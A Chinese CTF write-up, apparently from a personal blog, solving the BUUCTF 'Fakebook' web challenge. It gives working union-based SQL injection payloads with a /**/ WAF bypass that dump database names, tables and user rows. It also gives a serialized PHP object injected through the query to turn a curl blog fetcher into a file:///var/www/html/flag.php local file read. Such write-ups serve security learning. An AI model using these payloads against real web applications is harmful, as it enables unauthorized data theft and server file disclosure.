BUUCTF WEB FAKEBOOK

原创

显哥无敌 于 2021-10-31 14:57:28 发布 31 收藏

分类专栏： BUUCTF 文章标签： web安全

继续复习之旅，攻防世界暂时不做了，最近比较忙，等过一段时间继续刷
这题之前攻防世界刷过，考的是sql注入，注册页面没看出来啥，正常注册，zhaoxian，zhaoxian
然后点进去发现有一个get参数，直接一个单引号过去，发现回显报错了，那么sql注入没跑了

```
关键怎么利用，order by到5，开始报错，说明四列
union select触发了waf，经尝试，/**/绕过空格即可过
尝试payload:?no=-1 union/**/select 1,2,3,4#
提示无法反序列化，而username回显2，代表我们拿到了注入点
正常思路，数据库名，表名，列名，爆数据
数据库名：?no=-1 union/**/select 1,database(),3,4# //fakebook
表名：no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fa
kebook'# //users
列名：no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='
fakebook' and table_name='users'#
//no,username,passwd,data  为什么要加库名，那是因为还存在其他的users表
爆数据:no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users#
可以看到返回的是一个序列化后的数据，就是我们注册时的数据，到了这单纯的sql就断了，下面其实是一个ssrf过程
页面上有the contents of his/her blog，说明他是在尝试读取我们给的blog内容的，既然外部的域名地址能读，那本地地址应该也能读，
也就是个猜测
先扫目录吧，robots.txt，疯狂惊喜，user.php.bak，离拿flag不远了
<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
```

```
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog
);
    }
```

可以看到get函数里尝试用curl读取blog的内容，那我们就猜对了，很明显isValidBlog只在注册时启用，鉴于我们已经注册成功，现在这就是个废函数

下面就是flag在哪的问题了，别问，问就是猜出来的，因为正常用来爆破的字典不会带flag.php这种名称的，所以不是扫描器不好使，而是字典不好使

根据之前爆破数据库得出的序列化数据，data数据应该是一个UserInfo的序列化对象，blog值是他的一个属性

构造一下

```
<?php
class Userinfo
{
    public $name = "xiaofu";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}
$data = new Userinfo();
echo serialize($data);
?>
```

最终payload：/view.php?no=-1 union/**/select 1,2,3,'O:8:"Userinfo":3:{s:4:"name";s:6:"xiaofu";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

flag在页面源码里，是base64编码，解码一下就好

参考视频链接:https://www.bilibili.com/video/BV1Kh411t7yJ/